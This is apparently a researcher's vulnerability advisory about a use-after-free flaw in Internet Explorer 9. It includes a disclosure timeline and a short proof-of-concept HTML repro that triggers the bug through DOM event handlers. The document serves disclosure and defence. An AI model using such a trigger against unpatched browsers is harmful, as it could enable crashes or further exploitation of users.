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Source: http://blog.skylined.nl/20161214001.html
Synopsis
A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.
Known affected software and attack vectors
Microsoft Internet Explorer 9
An attacker would need to get a target user to open a specially crafted web-page. Disabling JavaScript should prevent an attacker from triggering the vulnerable code path.
Details
This bug was found back when I had very little knowledge and tools to do analysis on use-after-free bugs, so I have no details to share. ZDI revealed that this was a use-after-free vulnerability, though their advisory mentions an iframe, which is not in the repro I provided. I have included a number of reports created using a predecessor of BugId below.
Repro.html:
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<!DOCTYPE html>
<html>
<script>
document.addEventListener("load", function (){
document.documentElement.removeNode(true);
}, true);
document.addEventListener("DOMNodeRemoved", function (){
document.write("");
}, true);
</script>
<style>
</style>
<span dir="rtl">
<ruby dir="ltr">
<br/>
</ruby>
</span>
</html>
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Time-line
Sometime in November 2012: This vulnerability was found through fuzzing.
11 November 2012: This vulnerability was submitted to EIP.
10 December 2012: This vulnerability was rejected by EIP.
12 December 2012: This vulnerability was submitted to ZDI.
25 January 2013: This vulnerability was acquired by ZDI.
15 February 2013: This vulnerability was disclosed to Microsoft by ZDI.
26 July 2013: This vulnerability was address by Microsoft in MS13-055.
14 December 2016: Details of this vulnerability are released.
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